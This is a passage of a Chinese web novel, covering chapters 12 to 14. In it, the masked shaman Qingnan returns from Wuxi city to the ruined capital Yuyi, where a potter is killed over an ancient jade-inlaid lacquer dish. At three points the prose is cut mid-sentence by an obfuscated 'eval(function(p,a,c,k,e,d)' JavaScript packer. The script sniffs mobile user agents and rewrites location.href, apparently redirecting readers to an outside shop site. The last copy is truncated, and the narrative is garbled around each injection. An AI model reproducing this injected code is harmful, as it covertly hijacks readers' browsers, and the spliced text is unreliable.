月牙站在桃树下吟唱,巫盈、巫暮和阙月坐石板上倾听,吟唱完长长的歌谣,月牙很高兴得到称赞,但很快又感到无趣。 三个姐姐时不时让她重复吟唱歌谣中的某一个段落,并进行讨论,她们讨论的内容,月牙都听不明白,犹如鹭神使教她的歌谣那般难懂。 终于她们不再讨论歌谣,月牙也不用再重复吟唱,她偎依在巫盈身旁,听她们闲谈。 巫暮问:“我听说鹭神使就要离开了?” 巫盈回:“他与我说是明日。” “时光过得真快啊。” 阙月发出感慨,她伸出手臂,攀住下垂的树枝,从树上摘下一颗桃子,用衣服擦拭:“我怎么觉得今年三月节过后没多久,夏天就来啰。” 咔嚓一声,咬了一口。 还记得桃花开满枝头,站在祠庙主屋下的玄旸和鹭神使,那时两人刚抵达五溪城不久,阙月还想介绍他们认识呢,哪想到他们是老相识。 “有件事,我不是很确定,鹭神使的玉梳好像丢了。突然有一天,他头上的玉梳换成一把骨梳。” 巫盈接住阙月掷给她的一颗桃子,把桃子捧在手中,若要有所思。 “有吗?”阙月又咬了一口桃子。 “我也注意到了,骨梳不匹配他的身份,那件玉梳恐怕是在哪里遗落。” 巫暮很早就注意到了。 “鹭神使不像会丢失东西的人,而且还是那么贵重的东西。我听说羽人族非常重视他们的梳子,无论男女头上都插着梳子。他们的梳子,跟我们江皋族的腰带一样重要。” 阙月说着说着,忽然不再说话,她有个大胆的猜想,但不敢肯定。 窗外已是黄昏,夜风吹拂树叶沙沙作响。 站在窗前,看向那一轮弯月,青南意识到自己有很长时间不再抬头望月。 不再去留意月亮是圆是阙,是明亮圆滚如纺轮,还是出现月晕,有月华。 回想三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702251|143189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月节时的情景,那段时光变得很遥远,曾几何时,那家伙会在窗外吹奏乐器。 那一夜的记忆倒是很鲜明,鲜明得青南有时会感到焦躁。 从窗前离开,青南继续收拾明日要带走的物品,他从一只漆盒里取出玄旸的象牙雕筒,指腹无意识地轻蹭上面小圆饼状的绿松石装饰。 由象牙和绿松石组成的物品,质感冰凉,不具备人的体温。 玄旸肌肤传递的温度很高,高得烫人。 青南放下象牙雕筒,察觉到自己在思念某人,他把这份心情抹去,认真整理堆积在木案旁的一串串竹片,将它们挑选,束成一捆。 屋中的绝大部分物品都将留下,带不走,旅人能带走的只有一小部分,最重要的物品。 已经是仲夏,那个说会返回五溪城,护送自己归乡的人,并没有回来。 大概旅人总是要一路遗弃物品,遗忘旅途上遭遇的人与事,才能每次都轻装上路,踏上新的旅程。 大清早,阙月率领数名五溪城战士,亲自将青南和乌狶送至城郊。 昨夜,五溪城的城主设下践行宴,款待青南和乌狶,他们已经和城主道别。 “我有一件东西,想赠鹭神使。” 阙月从怀里掏出一包东西,那东西用布仔细包裹,她将布片掀开,露出一块掌心大小,长方形的玉料。 是上好的白玉,白净无瑕,晶莹剔透。 “江皋族有座玉山,叫都山,这是都山玉。要说江皋族有什么东西适合馈赠远来的朋友,它最合适。”阙月将玉料往前递,等待对方接收。 青南感到惊讶,这份礼物十分贵重,很有分量。 “鹭神使向五溪城传授羽邑的历法,对我们的农耕有莫大的帮助,这是我的心意,请收下。” “我看巫女们送鹭神使的礼物都收下了,我的可不许拒绝。” “多谢。” 青南收下玉料,将它放进随身携带的布袋中,他留意到这块玉石经过初步加工,长宽正好制作一把玉梳。 “我也有一样东西,想送你。”青南从腰间众多玉饰中解下一件,是件手指粗的小玉管。 羽邑的玉器很有名,青南身上的玉器尤其精美,一看就不是出自寻常玉匠之手。 “这是?” 阙月接过玉管,手指触摸到玉管表面,觉得似乎并不光滑,捻起一看,玉管刻有纤细的纹饰,是微雕! 线条跟头发丝一样细,不可思议的技法。 肯定是出自羽邑王庭的玉器,今日的玉匠根本制作不出来。 “神玉?” 阙月很吃惊,她仔细观察玉管上的图案,二重菱形纹构成蛇吻的形态,说是蛇又长角似龙。 “我听说羽人族从不将他们的神玉展示给别人看,更不用说向外人馈赠,我很荣幸。” “神玉往往刻有神徽,神徽便是至高神帝君的真容。除去青宫巫覡外,其他人不允许窥见神的真容,因为神的脾性难以琢磨,羽人族相信凡人直视神明,会遭受灾殃。” “这上面刻的就是神徽吗?”听到会遭受灾殃的讲述,阙月又将玉管上的图案仔细打量一遍,觉得神秘又迷人。 “是帝君的分身之一,一种叫菱的兽,它虽是神玉,但并非我所说的神徽,不是神的真实面貌。” 青南缓缓陈述,他的江皋族语已经说得很流利,山风吹动他华美的羽冠和白色长袍。 “也许,神早就已经离开羽邑。这不过是一件旧物,你可以将它做为配饰使用。” 戴着面具看不见表情,但声音中能听出他的感喟。 “我很喜欢,多谢了。” 阙月将玉管系在自己腰间的配饰上,面露微笑,她说:“鹭神使,我觉得羽邑的神肯定还在,因为青宫还有巫覡。” 青南的身影一怔,而后,缓缓地点了下头。 来自羽人族的旅人已经离去,他们的身影消失在山道上,阙月摸了摸腰间系的羽人族神玉,心想,鹭神使看似冷漠,对人疏远,其实内心情感很真挚。 到底鹭神使的玉梳,是不是和玄旸做为定情信物进行交换? 要是以后有机会,就问问玄旸吧。 12.第 12 章 陶甑中蒸着用荷叶包裹的大米和鸡肉,甑中的水蒸气透过箅孔蒸熟食物,甑盖被水蒸气顶起,热气夹杂食物的香气向外扩散,香气扑鼻。 五溪城的大米,米粒颗颗饱满,吃起来不如羽邑的大米清甜,但更有嚼劲,很适合蒸食。 鸡肉出自水鸡,乌狶非常擅长猎捕水禽,只需要一张网,甚至都不用弓箭,这一路上,顿顿都有野味,或蒸、或炖、或烤、或炙。 乌狶坐在几块石头垒起的临时火灶旁边,心里记着蒸煮的时间,手眼在一堆水禽羽毛中挑选,他只要最黑亮,最长的尾羽。 青南就在不远处,一棵大树的树荫下休息,他看向忙碌的乌狶,发现他从行囊里掏出一顶就快制作完成的黑羽冠,那是顶小孩子戴的羽冠,知道是乌狶给他儿子的礼物。 在羽邑,乌狶有妻子和一个十岁的儿子,他离开家乡,护送青南踏上旅程,已经有好几个月了,心里肯定会思念妻儿。 羽人族之所以叫羽人族,因为他们确实有戴羽冠的习俗。 在羽邑还有王的时候,王族每日出行都必须戴上羽冠,就是平民,也会在特殊的节日里,譬如冬至那日,戴上水禽羽毛制作的羽冠。 羽人族的羽冠有多种样式,甚至每种样式都有不同的叫法,在此作者就不赘述了。 只需要记住,平民的羽冠一般由木头,或者骨头与布条、绳索与及羽毛制作,王族的羽冠则非常奢华。 青南的羽冠,由五根玉锥榫接在包裹皮革的木质冠圈上,这些玉锥用来支撑和加固冠上华美的羽毛,还会有条彩带从额头系住羽冠,绕到脑后系绑,在这条彩带上,平均缀有半圆形状的玉片,这些玉片上甚至也有微雕。 一般巫覡的羽冠不会在彩带上缝缀玉片,青南羽冠上的一些玉部件,显然来自羽邑还有王庭的时代,是珍贵的神玉。 “恳请神使为我的儿子作祝。” 乌狶制作羽冠的手法很娴熟,他已经做好羽冠,此刻人正在地上行礼,将羽冠递到青南面前。 “孩子叫庆是吧?” “是!神使,我儿就唤阿庆。” 青南从随身的物品中取出一盒朱砂,这是碾成粉末,经过繁复手法制作的朱砂颜料。 取出一笔,沾上朱砂,口中念着祝语,在羽冠的木锥上,绘上一个简洁,类似于眼睛的符号。 在羽人族的竹文里,眼睛有几种含义,像青南绘的这种竖起的眼睛符号,意思为:吉。 诉求被神看见了,为神眷顾,即为“吉”。 乌狶捧着羽冠端详,表情激动。 “乌狶,我有件东西要给庆。”青南递出一样物品,是一条用江皋族的白陶珠串成的手链。 白陶珠,是江皋族的特产,手串上的彩绳为青南亲手编系。 青南离开五溪城后,一路往南走,路过不少江皋族的聚落,其中一座聚落的族长生病,青南给他看过病,曾得到一袋白陶珠做为酬谢。 乌狶慎重地接过神使的礼物,跪地磕谢,他相信神使赠予的物品具有神力,能庇护使用它的人免遭伤害。 这一趟旅程,使乌狶收益颇丰,行囊鼓鼓,五溪城人馈赠他不少物品。 漆木盘装上食物——米饭和鸡肉,木豆上盛着五溪城的鱼酱,还有一杯五溪城的美酒。 青南在野地就餐,林风阵阵,阳光闪耀,远眺前方起伏的山岭,翻过它,就进入羽人族的地域,他们离羽邑越来越近。 天气炎热,正午时分,他们总是找处树荫休息,午后再出发。 大陶碗中盛着满满的米饭与肉食,乌狶快速吃完自己的食物,起身到前方探路。 附近似乎没有聚落,如果必须在野地过夜,那就需要有人守夜,这一带林子非常密,野兽时常出没。 返回羽邑的旅程,比前去五溪城的旅程顺利,几乎没有什么波折,花费的时间也短。他们已经熟悉路途,而且青南能说流利的江皋族语,语言沟通不再有任何障碍。 几天后,青南和乌狶已经身处羽人族的地域,在一个小聚落的外围过夜。 这个聚落叫玉奚,属于羽人族的黑羽部。 羽人族有五个部族,各部族之间存在地域上的差异,自从羽邑的王死后,他们之间的差异更是不断扩大,两百年后,甚至拜的神都已经不一样。 玉奚聚落里的巫师不欢迎侍奉帝君的青宫之覡,又忌惮青宫巫覡的能耐,只好默许对方穿越玉奚人的土地。 “我小时候听阿父说,以前玉奚族长会到羽邑交易玉石,玉奚人曾经很富有。现在他们河里已经找不到玉石,又不会伺候庄稼,饭都吃不饱,小孩儿连件衣服也没有。大家都说他们不再尊奉帝君,转头去信邪恶的蛇灵,才被神遗弃。” 乌狶站在高坡上,眺望被环壕围起的聚落,他位置好,眼力佳,能看见聚落里的人群。 这是一个很小的聚落,只有几十口人,到处呈现萧条、颓败的景象。 “越往南走,这天越是昏晦……”青南踩踏在未干的泥地上,天空下着雨,阴晦没有太阳。 自从踏上羽人族的土地,就一直在下雨,太多雨水,今年羽邑的稻子收成不会好。 遭到神明遗弃的恐怕不只是玉奚人,而是整个羽人族。 “神使,到这边避雨。” 乌狶折树枝,用树叶加固庇护所,他们今晚得住在野外,雨天露宿令人感到不悦,虽说在旅途上经常遇到糟糕天气。 从玉奚前往羽邑,是一段不短的路程,一直都是阴雨天,道路泥泞难行,雨小的时候,青南和乌狶就在雨中行进,大雨滂沱则找地方避雨。 三日后,他们回到羽邑,攀上土岗,远远望见羽邑高大的宫城城墙。 离开羽邑时,正月的天气还很冷,如今回来,已经是盛夏,一来一回,有半年之久。 离开时,前路未知,青南的内心迷茫;归来时,疲惫而欣喜,内心充盈且平和。 青南的白袍脏污,羽冠也不再整洁,就连脸上戴的木面具,漆绘也因为磨损而斑驳。 远行对人的磨砺,不只是外表,更深至内里。 穿过遍布水泽的郭城,踩踏在郭城残败的城墙上,乌狶激动地大步走在前,青南却停下脚步,立在郭城高处,环视城外的水稻田和森林,城内的屋舍与居民,细雨绵绵,一切熟悉依旧。 城外耕种的居民朝乌狶和青南张望,露出惊讶的神情,城中也有居民发现他们,正在奔走相告。 在众人的拥簇下,两个远行归来的人进入宫城,孩子们追逐在身后,叽叽喳喳,他们希望乌狶能展示从外面带来的新奇东西。 “呜呜……” 乌狶吹奏鹤骨笛,独特而响亮的声音在四周回荡。 孩子们欢喜雀跃,紧紧跟随。 羽邑太久没有旅人到访,太久没有外面的东西传进来。 曾经住着数万人的羽人族王都,如今只是一个中型聚落的规模,居民不足千人。 走在深长的宫城大道上,雨越下越大,雨水不断冲刷,洗掉青南羽冠上的灰尘,衣袍上的泥土,让他以皑洁的模样,进入幽深的青宫。 羽邑的人们相信,雨水受神的意志支配,是神为归来的青宫之覡洗礼,让他宛如一只雨后的鹭鸟般雪白,鹭鸟消逝在霁青的天空,覡鹭轻盈地迈入青宫。 青宫不是因为屋檐或者墙壁是青蓝色,所以叫青宫,青宫的主檐上系着长长的,无数的青色丝绦,风过时纷乱飞舞,才有这个名字。 这些青色丝绦,有的年代久远腐朽成渣,有的褪色了,有的还比较崭新。 宫城的道路全是土路,唯有青宫保留一段很长的游廊,用木头铺成的地面,经过一代又一代人的修缮,几乎每一块木板的颜色都不尽相同。 羽邑有多古老,青宫就有多古老,这里供奉着羽人族至高无上的神——帝君。 青宫是羽邑的祠庙,它原本与羽邑的宫殿连接,曾经是宫殿的部分,于过往的岁月里遭到严重焚毁,在地表留下残垣断壁。 穿过走廊,踏进青宫内门前,青南朝宫城的南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715316|143189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面望去,居高临下,远远见到乌狶家的小屋,还有出门迎接的妻儿,乌狶弯下身,一家三口抱在一起。 身体因长途跋涉而疲惫,淋湿的行囊显得越发沉重,疲倦感再次袭来,青南迈着并不轻盈的脚步,穿过一道门,见到候在阶前的巫鹤,她身穿灰袍,个子瘦高,手执巫杖。 巫鹤在前带路,用干巴巴的声音说:“覡鹭,时隔半年,你终于回来了,大覡正在里头等你。入夏后,大覡脚疾复发,一直躺卧,行走有些不便。” “可有用什么药?” “用了不少药都不见起效,病情越发沉重。夏至那日,风暴将青宫大院的主树连根拔起,恐怕降在青宫的灾祸还没有消解。” 巫鹤本来就是个沉默寡言的巫女,很少主动跟人搭话,说完这些话,便不再说什么。 进青宫后,青南明显感觉得到青宫比以往更空荡,更寂静,巫覡们老的老,走的走,没剩几个,可是不应该只剩他们三人。 “青贞和青露呢?” “早些时候雨没这么大,他们结伴去神树坡采集毒树汁,还没回来。”巫鹤顿了一下,用缺乏情感的声音继续说:“有一头大虎,一直在郭城的北面游荡,前些天还咬死一个去林地捡鸟蛋的孩子。这四周,哪里都不安全,不是水泽就是树木。” “大树和野兽将羽邑困住,到处是老虎、野猪、熊、豹子、狼。” 巫鹤言语里透露出一丝烦躁,羽邑四周的荒凉令人心惊,她在担心采药的青贞和青露。 “覡鸬呢?” 听到这个名称,巫鹤停住脚步,用冷漠的语气说:“你走后不久,覡鸬就启程前往东部,大覡派遣他出使簇地,人还未返回。” 青宫大覡的居所在主殿侧屋,一间深长的房间,阴雨天使得深邃的房间只能获得不多的光,一个身穿青色长袍,头戴青色羽冠的老人拄杖站在窗前,看着外面的雨雾。 “大覡,是我覡鹭,我回来了。” 听见唤声,青宫大覡缓缓回过头,看向站在门外,光聚集处的白色身影,那人浑身湿淋,雨水在他脚边汇聚,扩散。 大覡看向倏然出现的身影,反应迟缓,好一会才问:“覡鹭,五溪城有覡鹳的消息吗?” “五溪城人不知道覡鹳的去处,只记得七年前,覡鹳在五溪城短暂停留过。觋鹳在五溪城期间与地母祠的大巫有往来,听大巫所言,觋鹳曾向她请教过水利相关的事宜,只是五溪城人的水利工事颇为简陋,大巫无法提供协助。” “木签呢?” “木签的图文,我已经能释读,是一句五溪城人幽会的俗语。我向五溪君问询过,她知晓书写这枚木签的人是谁,然而那个人也已经病故。” 青宫大覡的脸上看不见任何神情,一张色彩令人不安的大面具罩在本该是脸的地方,露出两只黑洞洞的眼睛。 “你辛苦了,先去休息,其他事情之后再说。” “是。” 青南离去,在原先站立的位置留下一滩水渍。 雨逐渐小了,雨雾扑脸,青南在长长的过道上行走,木质的地面湿滑,在踩踏不到的角落里,从缝隙中长出花草。 没有立即回到自己的住所,换去不舒服的湿衣物,青南沿着木梯往上登,登上宫城的城墙,他环视整座羽邑。 孩子们在泥水中笑嘻嘻玩耍,大人们在唤叫,狗子们在吠叫,屋后的猪圈里,小猪仔躲在老母猪肚子下避雨,几只圣水牛在水沟旁晃悠,它们有圆滚的身躯,配上慢悠悠的动作,两只大而扁的角,显得憨笨可爱。 宫城的区域内,人与自然融合一体,宫城之外,水泽森林,白鹭群鹿,羽邑看似颓败却也生机勃勃,这里是青南长大的地方。 青南从远方收回视线,眼角瞥见沼泽边沿有几个匆匆行进的人,仔细观察,发现他们抬着一个人,青南从中认出青贞和青露的身影,这两人各自背着一个陶壶,走在队伍最前面。 瘫软在架子上的人,不知是遭遇林中猛兽,被抓伤咬伤,还是出了什么意外。 13.第 13 章 “青贞,你说他还能活吗?流了好多血。” “可能没救了,我偷偷摸过他的手,手好凉。” 青贞和青露各自背着一个陶壶,一前一后奔上木阶,忽然在门口刹住脚步,他们光顾着交谈,这才留意青宫大覡的房门打开,大覡显然醒着。 “大覡。” 两人将头压得极低,还是感觉到大覡朝投来的严厉目光。 他们刚听居民说覡鹭和乌狶回来了,心里激动,正赶着要去见覡鹭,没想到被大覡看见他们在青宫大声说话和奔跑。 青宫是供奉神明的地方,不准嬉笑,不准追逐。 青宫大覡没再理会这两个冒冒失失的孩子,两个孩子也立即纠正自己的行为,闭上嘴,放轻脚步离开。 他们走出一段路,交头接耳,青贞说:“大家都说覡鹭回来了,可是没看到覡鹭,不知道他在哪儿,我还是先去找巫鹤救人,你把毒树汁拿去草药屋,给。” “好吧,可是,你不是说没救了吗?” “也许巫鹤有办法呢。” 青露接过青贞递来的陶壶,将它背上,正准备回草药屋,忽然见到巫鹤朝他们走来。 巫鹤冷冷说:“我有什么办法?” 她听见两个孩子的交谈,应该只听见最后一句。 “巫鹤,我和青露回来路上遇见一伙人,他们抬着一个流血昏迷的男人要进城。那些人说他们住在尾埠,受伤的男人叫陶申,听他们说是舒塘的理季要抢陶申的什么东西,争抢中将陶申刺伤。” 青贞比青露年长,更成熟稳重,由她跟巫鹤讲述知道的事情。 “人在那里?” “我们跑在前头,他们应该进城了!” 巫鹤没再说什么,转身离开,青贞默默跟上。 广场上聚集一大群人,还有不少人在往广场方向汇聚,路上的人见到巫鹤,都默默的让开一条道。 陶申苍白的尸体还躺在担架上,雨水和鲜血共同浸湿他的衣服,像个血人一样,他在路上流完血,身体已经凉了。 陶申的亲友趴在尸体上哭号,有两个和死者认识的人,正跟城中不明情况的居民讲述事情的前因后果。 “我们跟舒塘的人,根本没有仇怨,大家在舒塘娶媳妇,嫁女儿,都是亲家。就为了一件漆盘,哎,理季就把陶申给害了!” “漆盘?” “红彤彤画满鸟儿的大漆盘,有我家盛稻谷的大陶盆那么大,上面还贴着白玉籽,一个个磨得像珍珠那么光滑!” “陶申从哪里得到这样一件大漆盘?我听着肯定不是他家祖传,他一个烧粗陶的陶匠,家里能有这种东西。” “你们不懂,这叫嵌玉神鸟纹漆盘,可是以前国王用的好东西啊!” “老头,我看你尽是胡说,那么久远的东西,还能留到现在。” “哎呀,别吵!喂,尾埠来的,你们继续说呀。” “这事说来奇怪,我听说竟是从河里捞出来!” “对对,是从河里出的宝贝!也就昨天,陶申去河里挖陶土,我在钓虾,嫌他把水弄脏,要过去骂他,忽然听见他大叫一声,说是捞到个怪东西,我好奇过去瞧,见他把一个圆圆的东西在水里擦洗,拿出来一看,不得了啊,是件大漆盘!” 众人发出惊叹,都感到不可思议。 死者有这样的奇遇,获得这么件宝贝,没想到反而害他丢掉性命。 “理季,他是不是舒塘玉匠老理的儿子?听说老理给簇地的首领做玉器,一家人都搬去簇地住,儿子怎么会在尾埠?” “他就是玉匠老理的儿子,我认识他!你们说是理季杀人,有谁亲眼看见?” 陶申的弟弟泪如雨下,大声说:“我哥死前亲口跟我说理季要抢漆盘,我哥不给,就被那恶人用角锥狠狠扎在心口上!” “理季是舒塘人,天天来尾埠也不知道干什么,从没见他干正经事,整天就是东走走西看看。理家跟我家沾亲,他有时会去我哥家吃饭,我哥嫂都是厚道人,总会招待他。没想到他是个畜生,把我哥给害了!我哥两个孩子,一个六岁,一个才三岁,以后怎么办……” 陶申的弟弟痛哭流涕,捶胸顿足,再说不下去。 其余来自尾埠的人也在咒骂理季不是东西,他们都和陶申要好,不是亲戚就是邻居。 “我说你们光哭有什么用,走,我们去舒塘将理季抓回来!” 有个青壮语气激烈,挽起袖子。 他这么一喊,真是一呼百应。 “青宫的神使来了。” 有人在人群中大声提醒,围聚在一起的人们才注意到有两个戴羽冠穿长袍的人,羽邑的居民从两人的装束上认出一人是巫鹤,一人是覡鹭。 青南在宫城的城墙上看见一伙人抬着一名受伤男子,急匆匆往城门的方向赶,他便沿着城墙走到城楼,就近观察,想救治伤者。 亲眼见到这些人刚来到城门外,还没进城,发现担架上的人早已经断气,惊慌又悲痛的模样。 青贞和青露外出采集毒树汁,回城路上与抬伤者的这伙人相遇,他们跑在前头,先一步进城,进城后又直奔青宫,他们竟没留意到城楼上的青南。 人们将死去的男子抬往广场,放置在广场一棵大树下,大树茂密的枝叶能遮挡雨水。 绵绵细雨,令人感伤。 青南朝广场缓缓走去,他比巫鹤先一步来到广场,静静听众人交谈,了解来龙去脉。 巫鹤瞧见要救治的人已经死去,尸体旁围聚哭泣的人。 远远看视一眼,巫鹤转身便走,如她来时那样,路上的人们自觉让开。 人们纷纷将目光聚集在青南身上,虽然知道青宫的神使一向高高在上,令人畏惧,但都很好奇,覡鹭会说些什么吗? 他也什么都不管吗? “舒塘的理季杀我们羽邑的人,抢走羽邑的东西,他是个贼,还犯下杀人罪!请神使将灾殃降在理季身上!” 陶申的弟弟突然做出惊人举动,他扑到青南脚下,双眼发红,双拳紧握。 青南环视众人,声音平静:“你们将理季和漆盘带回来,青宫会审问他。” 得到青宫之覡的首肯,人群再次激动起来,更多人围聚在一起,纷纷商议起来,得马上制定抓捕理季的计划,绝不能让他有机会逃去簇地。 舒塘是从属羽邑的聚落,他们得到青宫的口谕,前去那边抓理季,舒塘的族长不敢阻拦;簇地与羽邑关系不好,如果理季逃去簇地,想抓他就难了。 青南注视死者沾染血污的脸庞,这是一个十分年轻,体格粗壮的男子,家里有妻子和年幼的孩子。 妻子失去丈夫,孩子没有父亲。 神鸟纹嵌玉漆盘。 在心中念出一个名称,这样的东西,确实是王器。 现在的漆匠已经制作不出这种奢侈物品,既没有需要它的国王,也没有掌握这项技能的工匠。 河里怎么会出羽邑的王器? 尾埠人带着亡者远去,消失在森林与水泽之间,他们是一群聚在古老废墟上的工匠,也是一群非常顽固,不肯迁到宫城居住的人。 羽邑的规模非常宏大,曾经属于郭城的部分在王国衰败后的两百年间,彻底被大自然占领,变得不再宜居。 人类为了躲避水患与野兽,逐步向位置更高的宫城退缩,只有极少的人,依旧居住在宫城之外,尾埠就是这些人的据点之一。 他们都是羽邑的居民,在羽邑还有国王的时候,他们是国王的木匠、漆匠、骨匠、石匠等等。 为了更便捷获取山林的材料,使这些工匠的后代一直都坚守在野地里。 尾埠人淌过沼泽地,登上由残破的郭城城墙组成的“道路”,前往一处叫东水门的废墟,他们的小船停在那里,那边有条小河,会将他们带往尾埠。 曾经,羽邑内部的河道纵横交错,四通八达,后来大部分河道因为淤塞,再无法行船。 在几百年前,有一条宽敞的河流从尾埠直通宫城,如果那条河流到今日还存在,陶申就不会在路上流血至死。 青宫大覡将干瘦的手搭在木栏上,发现雨已经停了,他目光垂视下方,之前聚集在广场的人已经散去,他用缓慢的语气说:“尾埠现在是工匠居住的地方,几百年前也是,那里曾经有一大片手工业作坊,作坊里的工匠只为王庭制作器物。” 外面的喧哗声使患病的青宫大覡离开他的居室,来到室外,居高临下观望发生在青宫之下,属于尘间的事。 “覡鹭,你说那名陶工从河里捡到一件嵌玉漆盘?” “尾埠人这样说,应该属实。” 青南侍立在一旁,如实回答。 返回青宫,经过青宫游廊时,青南遇见站在外面观察广场人群的青宫大覡,两人有问有答。 “无论当年工匠制作的嵌玉漆盘为何会在河里,又是何人捡到,只要王器面世,都应该收进青宫,归青宫所有。”青宫大覡转过身来,用黑洞洞的眼睛看着身旁人,他的声音苍老又冰冷。 青南说:“我已经叫他们抓住理季,带回漆盘。” “理家人世代都是羽邑的玉匠,如今老理举家投奔簇地,独留一个儿子在尾埠,恐怕,簇地首领是想在尾埠找点什么吧,还能是什么。” 青宫大覡冷笑一声,继续说:“当年,末代羽王的侄子率领追随者离开羽邑,在东部开挖壕沟,营建屋舍,称那里为簇地,从此不听青宫号令。簇地的首领一直想当羽人族的王,帝君从不眷顾他们,这两百年来,他们都当不了王。直到这一代首领羽原,竟敢命人将簇地的祠庙唤做青宫,又四处收集王器。” 王器主要是玉器,只有少量是象牙器或者漆器。 不管是种地时翻出来,还是建房子挖地穴时挖到,还是掏水沟掏到,还是捕鱼捞起,人们普遍都会选择将它们送往青宫。 对迷信的平民而言,这类东西必须放在青宫,否则会带来灾厄。 “羽王的神钺距今还供奉在羽邑的青宫里,青宫不只是一个称谓。”青南感到惊讶,簇地这是自欺欺人的行为。 他出游半年,所以不知道簇地的祠庙改了名,也叫青宫。 “我派遣覡鸬前往簇地,就为这件事,他去簇地许久,倒是一直没回来。” 青宫大覡说完这句话,便沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有人小声嘀咕,众人不再说话,纷纷行礼,将头压低。 青南走至被缚住双臂的理季面前,冷冷盯着他,理季双膝发软,一下子就跪在地上。 “理季,莫要在神明面前说谎,我问你簇地首领许诺给你何种好处?能让你不惜犯下死罪?”青南的声音冷的像冰一样,又像刀子般锋利。 理季不禁哆嗦起来,心里大为惊诧,冷汗直流,难道神使真得具有神力,能看穿人心。 看向理季身旁那堆不成样子的东西,青南从中拾起一块漆皮,仔细检查,他看见红色漆皮上绘有黑色的神鸟纹饰,很熟悉的纹饰。 这一小堆“破烂”里边,还夹杂着一些白色的颗粒,捻起一颗,是玉粒,这些玉料制作得极其讲究,一面平一面凸起,打磨得很光滑。 “你是不是很惊诧,为何前天漆盘还光亮如新,隔日便像泥盘子一样酥脆,一捏就碎了?” 青南微微一笑,轻轻拍去手中的灰尘,一双深邃的眼睛直视理季的眼睛,理季的肩膀不停抖颤。 青宫之覡明明不可能知道漆盘化为腐朽的过程,却能说得仿佛亲眼所见。 冷汗渗透理季的衣服,他感到自己暴露无遗,罪恶昭然若揭,已无处藏匿。 “是你杀了陶申?” “我我……我不是有意……”理季露出惊恐的表情,话都说不完整。 “这就是你从陶申手中抢来的漆盘?” 理季点了下头,惊恐的脸上血色尽失。 青南知道一双双渴望复仇的眼睛正看着他,希望从他口中听到对理季的死亡判决,由神使口中说出,那就是神的旨意。 以前,青宫巫覡处置罪人,手段都很凶残。 青南没有理会那一双双殷切的眼神,他转身离去,只对跟在身旁的青露嘱咐:“将漆皮和玉珠收集起来。” 给予巨大压迫感的人离去,仿佛掐住心脏的手松开了,理季的脸上稍稍恢复点血色,抬头见到周边人那一张张凶恶的脸,他吞吞吐吐:“你们……你们……要干什么?!” 将理季押往青宫的数名青壮,又押着他离开。 不用青宫来审判,平民之间有自己的法规,杀人偿命,天经地义。 在广场上,羽邑的居民参与对罪人的判决,纷纷认为理季该死,应该抵命。 陶申的弟弟和几个亲友拽着失魂落魄的理季出城,他们将会在沼泽地里处决理季。 青南捧着一只装有漆皮和玉珠的漆盒,将它供奉在青宫的主殿,供奉在至尊神帝君面前,他的心情凝重。 耳边仿佛听见陶申与理季死前的惨嚎,他们为一个美丽虚影丢掉性命,何其可悲可叹。 能想象这件漆盘刚出水时的模样,宛如鲜血般具有生命的鲜红漆色,二方连续笔触飘逸而绮丽的黑色神鸟纹,皑洁如月的白玉饰,它是一件珍宝,那个逝去的强大王国留下的吉光片羽。 刚出水时,几百年的时光仿佛在嵌玉漆盘身上凝固了,它一定是崭亮如新,精美绝伦。 可惜终究不敌岁月,它出水后,就脱离原先的储存环境,时间飞速作用于它,数百年时光如沙漏倾泻而下。 几百年间,河水早就泡烂了木质的胎体,使它酥软,最终分崩离析。 一个美丽的虚影。 “美玉终有碎时。” 老迈的声音,充满情感。 青南抬起头,见青宫大覡朝他缓缓走来。 美玉终有碎时。 青南不是第一次从青宫大覡口中听见这句话。 14.第 14 章 小时候,青南住在种有花草的大院子里,家里有仆人,有关系还算和睦,富有的邻居。 他们都是住在宫城正中央的居民,以“青”为氏,都有一个身份——羽邑王族。 羽邑很早就没有国王,但是羽邑的祠庙——青宫还在,还在维持着昔时的传统,只有出身王族的小孩,才会被选入青宫,成为巫覡。 那年青南十岁,终日和伙伴们在一起,很少待在家里。 母亲产后染病离世,父亲颓废而冷漠,都让青南倍感孤独,心里总是空空荡荡。 孤独而忧郁的小少年,会跟小伙伴们在郭城废墟里穿行,在城外的神树下游戏,在水泽森林中探险。 有时,青南也要学习,父亲让他去青宫跟巫覡学习竹文,他能读写竹文,他的伙伴们几乎都不会读写。 “青南,你长大后要当青宫之覡吗?” “我听说当青宫之覡都要在这儿,被割一刀哦,所以他们都没办法娶妻生娃。” “不只是这样,还要将毒树汁抹在脸上,等脸皮烂完了,再做张面具贴在脸上,就成为一张新脸。” “不是吧。” “真的,你们谁见过青宫的巫覡摘下面具?他们摘不了,早和脸上的肉长一起。” 伙伴们七嘴八舌,描述他们听来的青宫恐怖传闻。 青南低头用石刀削着竹片,准备书写竹文的材料,没搭理他们,他经常能接触到青宫的巫覡,知道根本不是这么回事。 想起父亲以前的教诲,青南想学好竹文。 父亲说,羽人族的知识,全都在歌谣和竹文里。 伙伴们在院子里叽叽喳喳,脸上表情丰富,庭院里的一棵枣树挂满果实,鸟儿在果实间穿梭往来。 